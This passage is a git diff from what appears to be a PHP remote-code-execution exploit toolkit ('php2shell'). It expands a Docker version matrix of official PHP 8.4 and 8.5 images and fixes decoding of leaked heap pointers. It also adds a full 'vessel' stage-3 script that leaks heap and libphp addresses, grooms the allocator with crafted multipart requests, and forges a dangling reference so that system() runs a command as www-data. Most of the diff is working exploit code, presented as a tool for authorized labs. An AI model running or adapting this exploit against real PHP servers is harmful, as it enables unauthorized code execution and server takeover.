8.5.1-8.5.9 (minus + # the already-covered ones) mark the 8.5 boundary. 8.4.11-8.4.19 sit + # inside the known-good 8.4 layout family and close the coverage gap. + {"key": "8.5.1", "image": "php:8.5.1-apache", "port": 8130}, + {"key": "8.5.2", "image": "php:8.5.2-apache", "port": 8131}, + {"key": "8.5.3", "image": "php:8.5.3-apache", "port": 8132}, + {"key": "8.5.4", "image": "php:8.5.4-apache", "port": 8133}, + {"key": "8.5.6", "image": "php:8.5.6-apache", "port": 8134}, + {"key": "8.5.7", "image": "php:8.5.7-apache", "port": 8135}, + {"key": "8.5.8", "image": "php:8.5.8-apache", "port": 8136}, + {"key": "8.5.9", "image": "php:8.5.9-apache", "port": 8137}, + {"key": "8.4.11", "image": "php:8.4.11-apache", "port": 8138}, + {"key": "8.4.12", "image": "php:8.4.12-apache", "port": 8139}, + {"key": "8.4.13", "image": "php:8.4.13-apache", "port": 8140}, + {"key": "8.4.14", "image": "php:8.4.14-apache", "port": 8141}, + {"key": "8.4.15", "image": "php:8.4.15-apache", "port": 8142}, + {"key": "8.4.16", "image": "php:8.4.16-apache", "port": 8143}, + {"key": "8.4.17", "image": "php:8.4.17-apache", "port": 8144}, + {"key": "8.4.18", "image": "php:8.4.18-apache", "port": 8145}, + {"key": "8.4.19", "image": "php:8.4.19-apache", "port": 8146}, + {"key": "8.4.6", "image": "php:8.4.6-apache", "port": 8147}, + {"key": "8.4.7", "image": "php:8.4.7-apache", "port": 8148}, + {"key": "8.4.8", "image": "php:8.4.8-apache", "port": 8149}, ] @@ -75,7 +114,8 @@ def wait_http(url: str, timeout: float = 30.0) -> bool: def run_build(build, args) -> dict: - label = f"{build['key']}-bookworm-{arch_label()}" + distro = build.get("distro", "bookworm") + label = f"{build['key']}-{distro}-{arch_label()}" name = f"p2s-matrix-{build['key'].replace('.', '')}" outdir = prepare_lab_out(os.path.join(LAB, "out", build["key"])) proof = os.path.join(outdir, "p1") @@ -101,14 +141,14 @@ def run_build(build, args) -> dict: return {"label": label, "status": "no-http"} actual_arch = container_arch(name) or arch_label() - label = f"{build['key']}-bookworm-{actual_arch}" + label = f"{build['key']}-{distro}-{actual_arch}" print(f"[*] architecture: {actual_arch}", flush=True) cmd = [sys.executable, os.path.join(HERE, "php2shell_calibrate.py"), "--target", url, "--container", name, "--repo-dir", args.repo_dir, "--proof-file", proof, - "--distro", f"bookworm-{actual_arch}", + "--distro", f"{distro}-{actual_arch}", "--arch", actual_arch, "--out-dir", PROFILES] if not args.full_search: @@ -126,7 +166,7 @@ def run_build(build, args) -> dict: if not args.keep: docker("rm", "-f", name) - profile = os.path.join(PROFILES, f"{build['key']}-bookworm-{arch_label()}.json") + profile = os.path.join(PROFILES, f"{build['key']}-{distro}-{arch_label()}.json") status = "no-profile" rce = False if os.path.isfile(profile): @@ -136,7 +176,8 @@ def run_build(build, args) -> dict: status = "rce" if rce else "leaks-only" except ValueError: status = "bad-profile" - return {"label": label, "status": status, "rce": rce, "profile": profile} + return {"label": label, "status": status, "rce": rce, + "profile": os.path.relpath(profile, ROOT)} def main() -> int: diff --git a/tools/php2shell_offsets.py b/tools/php2shell_offsets.py index fc11104..9e63338 100644 --- a/tools/php2shell_offsets.py +++ b/tools/php2shell_offsets.py @@ -43,6 +43,37 @@ "php:8.3.35-apache", "php:8.4.26-apache", "php:8.5.11-apache", + # Real-world subversions inside the vulnerable windows (same list as + # BUILDS in php2shell_matrix.py; pulled via a registry mirror when the + # Hub is rate-limited). + "php:8.4.2-apache", + "php:8.4.5-apache", + "php:8.4.6-apache", + "php:8.4.7-apache", + "php:8.4.8-apache", + "php:8.4.10-apache", + "php:8.4.11-apache", + "php:8.4.12-apache", + "php:8.4.13-apache", + "php:8.4.14-apache", + "php:8.4.15-apache", + "php:8.4.16-apache", + "php:8.4.17-apache", + "php:8.4.18-apache", + "php:8.4.19-apache", + "php:8.4.20-apache", + "php:8.4.25-apache", + "php:8.5.0-apache", + "php:8.5.1-apache", + "php:8.5.2-apache", + "php:8.5.3-apache", + "php:8.5.4-apache", + "php:8.5.5-apache", + "php:8.5.6-apache", + "php:8.5.7-apache", + "php:8.5.8-apache", + "php:8.5.9-apache", + "php:8.5.10-apache", ] LIB_PATHS = [ @@ -189,6 +220,36 @@ def extract(image: str) -> dict: docker("rm", "-f", name) +def heap_status(version: str, arch: str) -> str | None: + """Cross-reference profiles/ for a heap calibration of this build. + + Only calibrations against official images count: those profiles are named + --.json (or -bookworm-.json from the + author's runs). Lab builds such as 8.3.0-bookworm.json use a different + libphp binary and must not vouch for the official image. + """ + best = None + for path in glob.glob(os.path.join(ROOT, "profiles", f"*-{arch}.json")): + try: + with open(path, "r", encoding="utf-8") as fh: + p = json.load(fh) + except (OSError, ValueError): + continue + if p.get("php_version") != version or p.get("arch") != arch: + continue + rank = (3 if p.get("rce") else + 2 if p.get("measured", {}).get("libphp_base") else + 1 if p.get("measured", {}).get("chunk_base") else 0) + if best is None or rank > best[0]: + best = (rank, p) + if best is None: + return None + return {3: "heap calibrated; RCE verified", + 2: "heap calibrated; leaks only", + 1: "heap calibrated; stage-1 leak only", + 0: "heap calibrated; leak not reproduced"}[best[0]] + + def write_doc(results) -> None: entries = {} for path in glob.glob(os.path.join(OUT, "*.json")): @@ -215,11 +276,13 @@ def write_doc(results) -> None: ] for r in ordered: lib = r.get("libphp") or {} + status = heap_status(r.get("php_version", "?"), r.get("arch", "?")) \ + or r.get("status", "") lines.append("| {image} | {php} | {arch} | {zif} | {dtor} | {sha} | {status} |".format( image=r.get("image", ""), php=r.get("php_version", "?"), arch=r.get("arch", "?"), zif=lib.get("zif_system") or "-", dtor=lib.get("zval_ptr_dtor") or "-", - sha=(r.get("libphp_sha256") or "-")[:12], status=r.get("status", ""))) + sha=(r.get("libphp_sha256") or "-")[:12], status=status)) lines += ["", "## Notes", "", "- Offsets are relative to the `libphp.so` load base; ASLR changes the base, not the offset.", "- The same PHP version built by another distribution/arch has different offsets.", diff --git a/tools/php2shell_rce.py b/tools/php2shell_rce.py index 8c7739a..cf16f0b 100755 --- a/tools/php2shell_rce.py +++ b/tools/php2shell_rce.py @@ -37,7 +37,7 @@ from __future__ import annotations from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls +from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls import argparse import ipaddress @@ -108,6 +108,7 @@ def main() -> int: "or pass --repo-dir", file=sys.stderr) return 4 patch_params(repo) + patch_cookie_decode(repo) if args.insecure: patch_tls(repo) diff --git a/tools/php2shell_upstream.py b/tools/php2shell_upstream.py index 9d09b57..7e69738 100644 --- a/tools/php2shell_upstream.py +++ b/tools/php2shell_upstream.py @@ -50,6 +50,34 @@ def patch_params(repo: str) -> bool: return True +def patch_cookie_decode(repo: str) -> bool: + """Decode '+' as a space in the leaked Set-Cookie value. + + PHP urlencode()s the session id for the cookie header, and that encoding + writes a space byte (0x20) as '+'. urllib's unquote_to_bytes() leaves '+' + untouched, so any leaked pointer whose address contains a 0x20 byte was + read back 0xB00000000 too high (0x20 -> 0x2b) and every stage-3 address + derived from it missed. Rewriting '+' to '%20' before unquoting restores + the real bytes; a true '+' byte in memory arrives as '%2B' and decodes + back to '+' either way, so the rewrite is lossless. + """ + found = _read(repo) + if not found: + return False + path, source = found + original = (' return urllib.parse.unquote_to_bytes' + '(m.group(1).decode("latin1"))') + if original not in source: + return False + source = source.replace( + original, + ' raw = m.group(1).replace(b"+", b"%20")\n' + ' return urllib.parse.unquote_to_bytes(raw.decode("latin1"))') + with open(path, "w", encoding="utf-8") as fh: + fh.write(source) + return True + + def patch_tls(repo: str) -> bool: """Accept the lab certificate and always send SNI. diff --git a/tools/php2shell_vessel.py b/tools/php2shell_vessel.py new file mode 100644 index 0000000..61044fe --- /dev/null +++ b/tools/php2shell_vessel.py @@ -0,0 +1,313 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""php2shell_vessel.py — stage-3 "vessel" variant for early-8.5 layouts. + +Why a second stage 3 +-------------------- +Upstream's stage 3 lands a 15-byte bin-40 carrier string exactly on the +dangling PS(http_session_vars) reference (R0). On the official php:8.5.0 and +php:8.5.5 images that layout is unreachable: request machinery carves the +bin-3 (32 B) page at 0x68 before any of our fields are parsed, so B2's 15 +fake-HashTable blobs (167-byte values -> bin 13/192 B) start one page later +at 0x69, while R0 still sits on 0x68. No carrier allocation reaches it. + +The vessel variant +------------------ +Two changes realign the pages: + +* S (prime) grows an "early" field whose 160-byte value lands in bin 13. One + bin-13 allocation consumes a whole 4 KiB page, pushing S's first bin-3 + carve - the page holding the dangling reference - one page up: + R0(m) = 0x69000 + 0x160 + 0x80*m (m = 3 with three 7:7 pads). +* B2 drops the separate carrier string and the short-named filler fields. + Every name and value is >= 8 bytes, so B2 itself allocates no bin-3 slot + and its blob run starts at page 0x69: blob 0's data lands at chunk+0x690D8 + (the fake HashTable + execute_data + cmd string), blob 1 - the "vessel" - + at chunk+0x69258, its bytes sitting exactly at R0(m=3) = 0x692E0. + +The vessel is byte-identical to the canonical blob except that the 15-byte +reference pattern (gc rc=1 IS_REFERENCE + the low 7 bytes of htdata) is +grafted at offset 0x88, over the fake cmd string's h and len fields - both +unread on the fire path - followed by a NUL and val.u1 type_info 0x0307 +(type IS_REFERENCE, type_flags != 0 so Z_REFCOUNTED_P passes). At session +close, zend_reference_destroy -> i_zval_ptr_dtor reads the vessel as the +stale reference, DELREFs val.value (= blob 0's data, the fake HashTable), +and the destructor chain fires zif_system with blob 0's cmd string. + +Verified (uid=33 www-data proof) on php:8.5.0-apache and php:8.5.5-apache +labs, under gdb and without it. Authorized local labs only. +""" + +from __future__ import annotations +from php2shell_paths import default_repo_dir +from php2shell_rce import is_loopback +from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls + +import argparse +import os +import re +import struct +import sys +import time +import urllib.parse + +DEFAULT_DIR = default_repo_dir() + +# Winning 8.5.0/8.5.5 geometry; every value is overridable. +DEFAULTS = { + "early": 160, # bytes of the S-side page-shifter field value + "pads": [(7, 7)] * 3, # S pads; m=3 puts R0 on the vessel pattern + "blobs": 15, # B2 fake-HashTable blobs (bin-13 slots) + "vessel_index": 1, # blob that carries the embedded ref pattern +} +DEFAULT_HTDATA = 0x690D8 # chunk-relative data offset of blob 0 +MAX_CMD = 14 # fake string payload room inside the 167 bytes + + +def parse_pads(spec: str): + """'31:31x6,7:7x3' -> [(31, 31)] * 6 + [(7, 7)] * 3; 'none' -> [].""" + if spec in ("none", "", "0x0"): + return [] + pads = [] + for group in spec.split(","): + m = re.fullmatch(r"(\d+):(\d+)x(\d+)", group) + if not m: + raise argparse.ArgumentTypeError( + f"bad pad spec {group!r} (want NL:VLxCOUNT,...)") + nl, vl, n = (int(g) for g in m.groups()) + pads += [(nl, vl)] * n + return pads + + +def pads_to_spec(pads) -> str: + """[[7,7]] * 3 -> '7:7x3' (consecutive equal pairs grouped).""" + groups: list[list[int]] = [] + for pair in pads: + nl, vl = (int(x) for x in pair[:2]) + if groups and groups[-1][:2] == [nl, vl]: + groups[-1][2] += 1 + else: + groups.append([nl, vl, 1]) + return ",".join(f"{nl}:{vl}x{n}" for nl, vl, n in groups) + + +def carrier_pattern(htdata: int) -> bytes: + """The 15 bytes that must sit at R0: gc(rc=1, IS_REFERENCE) + htdata.""" + return struct.pack(" list[dict]: + """Request S: session fields + steering + pads + file + OOM.""" + parts = [{"name": "PHPSESSID", "data": b"a" * 19}] + if early > 0: + # bin-13 sized (24 name overhead + N + 1 <= 192): one whole page. + parts.append({"name": "e0000000", "data": b"E" * early}) + parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3}) + for i, (nl, vl) in enumerate(pads): + name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl] + parts.append({"name": name, "data": b"V" * vl}) + parts += [ex._file_part(), ex._big_field()] + return parts + + +def b2_parts(mod, ex, htdata: int, zif: int, blobs: int, vessel_index: int): + """Request B2: long names only, blob `vessel_index` carries the pattern.""" + ht, _ = ex._fake_payload(htdata, zif) + # The vessel's own cmd string is corrupted (h/len overwritten), which is + # fine: the fire path reads blob 0's string via arg1.val = htdata+0x80. + vessel = bytearray(ht) + vessel[0x88:0x97] = carrier_pattern(htdata) + vessel[0x97] = 0 + vessel[0x98:0x9C] = struct.pack("= 8 bytes, so B2 allocates no bin-3 slot before the blobs. + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwnpwnpwn"}, + ] + for i in range(blobs): + data = bytes(vessel) if i == vessel_index else ht + parts.append({"name": f"a{i:030d}"[:31], "data": data}) + return parts + + +def fire(mod, ex, chunk: int, zif: int, htdata_off: int, params: dict | None = None): + """Prime (S) and fire (B2) the vessel stage 3. + + The caller rotates first: S must be the first heavy request on a fresh + worker for the deterministic heap layout. Leaks stay valid across the + rotation because the replacement worker shares the ASLR epoch. + """ + p = dict(DEFAULTS, **(params or {})) + p["pads"] = [tuple(x) for x in p["pads"]] + htdata = chunk + htdata_off + ex.t.log(f"[*] stage 3 (vessel): HTDATA=0x{htdata:x} ZIF=0x{zif:x} " + f"early={p['early']} pads={pads_to_spec(p['pads'])} " + f"blobs={p['blobs']} vessel=a{p['vessel_index']}") + ex.t.post(mod.build_multipart( + prime_parts(mod, ex, p["early"], p["pads"]), b"S" * 17), + b"S" * 17, read_cap=1 << 20, + timeout=max(90.0, ex.t.timeout), + extra_headers={"Cookie": "PHPSESSID=" + "a" * 32}) + time.sleep(0.3) + ex.t.post(mod.build_multipart( + b2_parts(mod, ex, htdata, zif, p["blobs"], p["vessel_index"]), + b"B" * 10), + b"B" * 10, read_cap=65536, timeout=30.0) + + +def main() -> int: + from php2shell_calibrate import load_upstream + + ap = argparse.ArgumentParser( + description="Vessel stage-3 chain (early-8.5 heap layouts).", + formatter_class=argparse.ArgumentDefaultsHelpFormatter) + ap.add_argument("-u", "--target", required=True, + help="target PHP page, e.g. http://127.0.0.1:8127/index.php") + ap.add_argument("-c", "--command", default="id>/out/p1", + help=f"command to execute (max {MAX_CMD} bytes)") + ap.add_argument("--zif-offset", type=lambda x: int(x, 0), required=True, + help="zif_system offset in libphp.so") + ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), required=True, + help="zval_ptr_dtor offset in libphp.so") + ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), + default=DEFAULT_HTDATA, + help="chunk-relative offset of blob 0's data") + ap.add_argument("--stage1-n", type=int, default=841) + ap.add_argument("--forge-len", type=int, default=63) + ap.add_argument("--stage2-t", type=int, default=406) + ap.add_argument("--stage2-v", type=int, default=16) + ap.add_argument("--early", type=int, default=DEFAULTS["early"], + help="bytes of the S-side early steering field") + ap.add_argument("--pad", type=parse_pads, default=parse_pads("7:7x3"), + metavar="NL:VLxCOUNT,...", help="S pads") + ap.add_argument("--blobs", type=int, default=DEFAULTS["blobs"], + help="number of B2 fake-HashTable blobs") + ap.add_argument("--vessel-index", type=int, default=DEFAULTS["vessel_index"], + help="blob index carrying the embedded reference pattern") + ap.add_argument("--huge-mb", type=int, default=12, + help="OOM field size in MiB; must exceed memory_limit") + ap.add_argument("--proof-file", default=None, + help="local file the command writes to; '' disables") + ap.add_argument("--fetch", default="", + help="GET this path afterwards (remote proof)") + ap.add_argument("--retries", type=int, default=3, + help="attempts per leak stage; stage 3 uses retries+3") + ap.add_argument("--timeout", type=float, default=30.0) + ap.add_argument("--repo-dir", default=DEFAULT_DIR) + ap.add_argument("--allow-remote", action="store_true", + help="allow non-loopback targets (written authorization required)") + ap.add_argument("--insecure", action="store_true", + help="disable TLS certificate verification (lab certs)") + ap.add_argument("--no-pre-rotate", action="store_true") + ap.add_argument("--no-retry-rotate", action="store_true") + ap.add_argument("-q", "--quiet", action="store_true") + args = ap.parse_args() + + if len(args.command.encode()) > MAX_CMD: + ap.error(f"--command is limited to {MAX_CMD} bytes") + + host = urllib.parse.urlsplit(args.target if "://" in args.target + else "http://" + args.target).hostname or "" + if not args.allow_remote and not is_loopback(host): + print(f"[!] {host} is not loopback; use --allow-remote only with " + "authorization.", file=sys.stderr) + return 4 + + patch_params(args.repo_dir) + patch_cookie_decode(args.repo_dir) + if args.insecure: + patch_tls(args.repo_dir) + + mod = load_upstream(args.repo_dir) + t = mod.Target(args.target, timeout=args.timeout, verbose=not args.quiet) + ex = mod.Exploit(t, args.command, zif_offset=args.zif_offset, + dtor_offset=args.dtor_offset, huge_mb=args.huge_mb, + profile="bookworm", verbose=not args.quiet) + ex.stage1_n = args.stage1_n + ex.stage1_forge_len = args.forge_len + ex.stage2_t = args.stage2_t + ex.stage2_v = args.stage2_v + params = {"early": args.early, "pads": args.pad, "blobs": args.blobs, + "vessel_index": args.vessel_index} + + def rotate_after_failure() -> None: + if not args.no_retry_rotate: + ex.rotate() + + if not args.no_pre_rotate: + ex.rotate() + + # ---- stages 1 and 2: same leaks as upstream ---- + chunk = 0 + for attempt in range(1, args.retries + 1): + t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})") + chunk = ex.stage1() + if chunk: + t.log(f"[+] chunk base = 0x{chunk:x}") + break + t.log("[-] heap leak missed") + rotate_after_failure() + if not chunk: + print("HEAP_LEAK_FAILED", file=sys.stderr) + return 1 + ex.rotate() # each stage needs a fresh worker + + libphp = 0 + for attempt in range(1, args.retries + 1): + t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})") + libphp = ex.stage2() + if libphp: + t.log(f"[+] libphp base = 0x{libphp:x}") + break + t.log("[-] libphp leak missed") + rotate_after_failure() + if not libphp: + print("LIBPHP_LEAK_FAILED", file=sys.stderr) + return 1 + zif = libphp + args.zif_offset + ex.rotate() # S must be the first heavy request on the fresh worker + + # ---- stage 3: vessel ---- + proof_path = args.proof_file + if proof_path: + try: + if os.path.exists(proof_path): + os.unlink(proof_path) + except OSError: + pass + proof = "" + for attempt in range(1, args.retries + 3): + try: + fire(mod, ex, chunk, zif, args.htdata_offset, params) + except OSError as exc: + t.log(f"[-] request error: {exc}") + time.sleep(0.8) + if proof_path: + try: + if os.path.exists(proof_path): + with open(proof_path, "rb") as fh: + proof = fh.read().decode("latin1").strip() + except OSError: + pass + if not proof and args.fetch: + status, body = t.get(args.fetch) + if status == 200: + proof = body.decode("latin1").strip() + if proof: + t.log(f"[+] W3 attempt {attempt} (vessel)") + print(f"PROOF: {proof}") + return 0 + t.log(f"[-] stage 3 attempt {attempt} no proof yet") + rotate_after_failure() + + print("EXPLOIT_FAILED (no proof; the command may still have executed blind)", + file=sys.stderr) + return 1 + + +if __name__ == "__main__": + try: + sys.exit(main()) + except KeyboardInterrupt: + sys.exit(130)